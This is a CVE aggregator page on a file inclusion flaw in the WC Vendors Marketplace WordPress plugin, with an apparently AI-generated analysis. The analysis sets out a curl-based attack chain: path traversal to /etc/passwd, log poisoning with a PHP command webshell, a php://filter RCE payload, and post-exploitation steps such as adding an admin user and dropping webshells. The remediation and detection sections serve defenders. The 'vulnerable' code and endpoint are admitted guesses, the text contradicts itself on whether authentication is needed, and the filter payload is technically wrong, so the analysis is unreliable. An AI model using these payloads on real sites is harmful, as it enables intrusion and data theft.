CVE Professor
/
All CVEs
CVE-2026-138502

CVE-2026-138502 — CWE-98

HIGH CVSS 7.5 NVD

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Rymera Web Co WC Vendors Marketplace wc-vendors allows PHP Local File Inclusion.This issue affects WC Vendors Marketplace: from n/a before 2.7.4.

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Rymera Web Co WC Vendors Marketplace wc-vendors allows PHP Local File Inclusion.This issue affects WC Vendors Marketplace: from n/a before 2.7.4.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVE‑IDCVE‑2026‑138502
Vendor / ComponentRymera Web Co – WC Vendors Marketplace WordPress plugin
Affected versionsAll releases prior to 2.7.4 (the CVE description does not list a “since” version, therefore every version that existed before 2.7.4 is vulnerable)
CWECWE‑98 – *Improper Control of Filename for Include/Require Statement in PHP Program*
CVSS 3.17.5 (AV:N / AC:H / PR:L / UI:N / S:U / C:H / I:H / A:H)
Vulnerability typeLocal File Inclusion (LFI) – the plugin builds a require/include path from a request parameter without proper validation or whitelisting. Because allow_url_include is *normally disabled* in typical WordPress installations, the attacker can only include files that exist on the same filesystem, but the inclusion can be leveraged to read arbitrary files, disclose credentials, and, when combined with other PHP features (e.g., php://filter, log poisoning), achieve remote code execution (RCE).

Technical flaw

The plugin contains code similar to the following (simplified for illustration):

// wc-vendors/includes/template-loader.php (pre‑2.7.4)
$template = isset( $_GET['template'] ) ? $_GET['template'] : 'default.php';
$path     = WC_VENDORS_ABSPATH . 'templates/' . $template;   // WC_VENDORS_ABSPATH = plugin root

// No whitelist, no realpath() check, no basename() sanitisation
require $path;

What is missing?

1. Input validation / whitelisting – the template GET/POST parameter is taken verbatim and concatenated to a filesystem path.
2. Path‑traversal mitigation – there is no realpath() comparison against the expected directory, allowing ../ sequences to climb out of the templates/ folder.
3. File‑type restriction – the code does not enforce that the included file ends with .php (or any safe extension). An attacker can request any readable file, e.g. ../../../../etc/passwd.
4. allow_url_include – even though the default PHP configuration disables remote includes, the same code path would also allow remote URLs if the server were mis‑configured, which is why the CWE is “Remote File Inclusion”.

Because the inclusion is performed before any authentication check (the endpoint is reachable by any visitor), the vulnerability is exploitable by a low‑privileged remote attacker (PR:L). The attack complexity is high (AC:H) because the attacker must know a usable inclusion vector (e.g., a file that can be leveraged for code execution). The impact is confidentiality, integrity, and availability all rated high (C:H/I:H/A:H) – the attacker can read arbitrary files, inject malicious PHP, and cause denial‑of‑service by including large or binary files.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All request examples are illustrative – the exact query string name (template) and endpoint (admin-ajax.php?action=wc_vendors_get_template) are inferred from typical WC Vendors code patterns but may differ in a concrete installation.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1Identify the site runs WordPress and enumerate installed plugins.wpscan --url https://target.example.com --enumerate p (or manual /wp-content/plugins/ directory listing)
1.2Detect WC Vendors Marketplace and its version.wpscan output shows “WC Vendors Marketplace 2.6.9” (or any version < 2.7.4).
1.3Search public advisories / GitHub for “WC Vendors LFI”.CVE‑2026‑138502 entry, plugin changelog, or security‑focused blogs.
1.4Locate the vulnerable inclusion point.Review plugin source (includes/template-loader.php) or use a web‑application scanner that flags “parameter used in include”.

2. Exploitation

2.1 Basic file read (confidentiality)

# Illustrative endpoint – may differ in the real plugin
curl -s "https://target.example.com/wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../etc/passwd"

What happens:

  • The template parameter is concatenated to the plugin path.

  • ../ sequences climb out of templates/ and the PHP require loads /etc/passwd.

  • Because the included file is not a valid PHP script, PHP emits a warning but outputs the file contents (the warning is often suppressed by the plugin’s error handling, resulting in the raw file being sent to the attacker).
  • 2.2 PHP code execution via log poisoning (integrity & availability)

    1. Inject PHP code into a writable log file (e.g., the web server’s access_log).

    curl -s "https://target.example.com/?<?php system($_GET['cmd']); ?>"

    The request line itself (<?php … ?>) is written verbatim to the access log if the server logs raw request URIs.

    2. Include the poisoned log file using the LFI vector:

    curl -s "https://target.example.com/wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../var/log/apache2/access.log"

    3. Execute arbitrary commands:

    curl -s "https://target.example.com/wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../var/log/apache2/access.log&cmd=id"

    The included log now contains <?php system($_GET['cmd']); ?>, which is executed in the context of the web‑server user (typically www-data).

    2.3 RCE via php://filter (if allow_url_include is enabled)

    If the server’s php.ini mistakenly enables allow_url_include=On, the attacker can execute arbitrary PHP code without log poisoning:

    curl -s "https://target.example.com/wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=php://filter/convert.base64-decode/resource=<?=system('id');?>"

    The php://filter wrapper decodes the base64‑encoded payload and executes it as PHP, giving immediate RCE.

    3. Post‑exploitation

    GoalHow it is achieved
    Privilege escalationThe web‑server user (www-data) often has read access to configuration files (wp-config.php) that contain DB credentials. After RCE, the attacker can read wp-config.php → obtain DB user/password → connect to the WordPress database → create an admin user (INSERT INTO wp_users …).
    PersistenceDrop a web‑shell in a writable uploads directory (wp-content/uploads/) using the same LFI + file write technique (move_uploaded_file via malicious PHP).
    Data exfiltrationUse the web‑shell to dump the entire WordPress database (mysqldump) or copy sensitive files (/etc/shadow, .ssh/id_rsa).
    Denial‑of‑serviceInclude a large binary (e.g., /dev/zero or a multi‑gigabyte log) causing PHP to exhaust memory, leading to a 500 error for all users.

    🌍 Real‑World Impact

    CIA TriadRating (from CVSS)Practical consequence
    ConfidentialityH (C:H)Ability to read any file readable by the web‑server user – wp-config.php, database backups, private keys, .htpasswd, system files (/etc/passwd, /etc/shadow if readable).
    IntegrityH (I:H)Inclusion of attacker‑controlled PHP leads to arbitrary code execution → modification of site content, insertion of back‑doors, alteration of database records, defacement.
    AvailabilityH (A:H)Inclusion of large files or crafted payloads can crash PHP, cause memory exhaustion, or trigger a web‑server restart, resulting in a full outage.

    Business impact can range from data breach (PCI/DSS, GDPR) to total service disruption, loss of customer trust, and potential ransomware extortion if the attacker later installs ransomware on the underlying host.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetail
    UpgradeMove to WC Vendors Marketplace 2.7.4 or later – the vendor’s changelog states “Fixed improper control of filename for include/require (LFI)”.
    Version verificationAfter upgrade, confirm the file includes/template-loader.php now validates the template parameter against a whitelist ($allowed_templates = ['product.php','dashboard.php'];).
    WordPress coreEnsure you are running the latest supported WordPress version (security patches often harden admin-ajax.php handling).

    2. Immediate Workarounds (if patch cannot be applied instantly)

    MitigationImplementation
    Disable the vulnerable endpointAdd a rule to functions.php or a site‑specific mu‑plugin: <br>add_action('init', function(){ if ( isset($_GET['action']) && $_GET['action'] === 'wc_vendors_get_template' ) { wp_die('Temporarily disabled'); } });
    Restrict access by IPIn .htaccess (Apache) or nginx.conf: <br>location ~* /wp-admin/admin-ajax\.php$ { allow 203.0.113.0/24; deny all; } (only allow trusted IPs).
    Turn off allow_url_include (defense‑in‑depth)In php.ini or .user.ini for the site: <br>allow_url_include = Off
    Enforce a strict whitelist for includes (temporary code fix)``php\n$allowed = ['product.php','dashboard.php'];\nif ( in_array($template, $allowed, true) ) {\n require WC_VENDORS_ABSPATH . 'templates/' . $template;\n} else {\n wp_die('Invalid template');\n}\n`
    File‑system permissionsEnsure the plugin directory is not writable by the web‑server user (chmod 755, owner root:root where possible). This blocks log‑poisoning write‑ups to plugin files.
    ModSecurity / WAF rule (example)`SecRule ARGS:template "@rx (\.\./\.\.\\)" "id:2026138,phase:2,deny,log,msg:'WC Vendors LFI attempt',tag:'wc_vendors','cve-2026-138502'"`
    Disable PHP error displaydisplay_errors = Off` – prevents PHP warnings from leaking file contents when an inclusion fails.

    3. Detection

    IndicatorWhere to lookExample log entry
    Path‑traversal in query stringWeb server access logs (access.log)GET /wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../etc/passwd HTTP/1.1
    Requests for non‑PHP files via the endpointSame logsGET /wp-admin/admin-ajax.php?action=wc_vendors_get_template&template=../../../../var/log/apache2/access.log HTTP/1.1
    PHP warnings containing file contentsPHP error log (error.log)Warning: require(): Failed opening required '/var/www/html/wp-content/plugins/wc-vendors/templates/../../../../etc/passwd' (include_path='.:/usr/share/php')
    Unexpected PHP code executionApplication logs, WordPress debug log (wp-content/debug.log)PHP Notice: Undefined index: cmd in /wp-content/plugins/wc-vendors/includes/template-loader.php on line 42 (followed by command output)
    New admin user creationWordPress user table (wp_users)INSERT INTO wp_users (user_login, user_pass, ...) VALUES ('hacker', '$P$Bhash…', …) – can be detected via database audit or WordPress security plugins.

    SIEM rule sketch (generic):

    rule "WC Vendors LFI Attempt"
    when
        EventType == "web_access"
        and HttpRequestMethod == "GET"
        and HttpRequestUri matches ".*wc_vendors_get_template.*template=.*(\.\./|\.\.\\).*"
    then
        alert("Potential LFI attempt against WC Vendors", severity=High);

    ⚠️ Urgency

  • CVSS 7.5 (High) – network‑reachable, no authentication required, and the impact is total confidentiality, integrity, and availability loss.
  • Exploit complexity is “High” – the attacker must know a usable inclusion vector (e.g., a readable file that can be leveraged for code execution). However, the required knowledge is trivial for anyone who can enumerate the plugin version, which is public information.
  • No CISA KEV listing – the vulnerability is not yet in the U.S. government’s “Known Exploited Vulnerabilities” catalog, but the public disclosure date (05‑Dec‑2026) is recent, meaning exploit code is likely to appear in the wild within weeks.
Patch priority: Critical – apply the vendor’s 2.7.4 release immediately (or within 48 hours for internet‑facing sites). If immediate patching is impossible, apply the temporary mitigations listed above and enable strict monitoring for the detection indicators.
Bottom line: The LFI in WC Vendors Marketplace allows an unauthenticated remote attacker to read arbitrary files and, when combined with log‑poisoning or other PHP tricks, to achieve full remote code execution. Upgrade to 2.7.4 without delay, enforce a whitelist on any include/require logic, and monitor for traversal patterns in request logs.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

header="X-Powered-By" && header="PHP"
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-98
References & Advisories (1)
Related CVEs
7.5
CVE-2026-137274
The Product Table & List Builder for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in
7.6
CVE-2026-141017
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Xtemos W
7.5
CVE-2026-144497
Chaptarr before 0.9.999 contains an authentication bypass vulnerability that allows remote attackers to access
7.3
CVE-2026-144912
A vulnerability was detected in SourceCodester Online Clothing Store 1.0. This vulnerability affects unknown c
7.3
CVE-2026-144914
A vulnerability has been found in Youzan ZanProxy 5.0.0/5.1.0. Impacted is the function getDataFilePath of the
7.2
CVE-2026-116760
The The Plus Addons for Elementor – Mega Menu, Header Footer, Post Grid, AI Widgets & Templates plugin for W
7.2
CVE-2026-129138
The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPr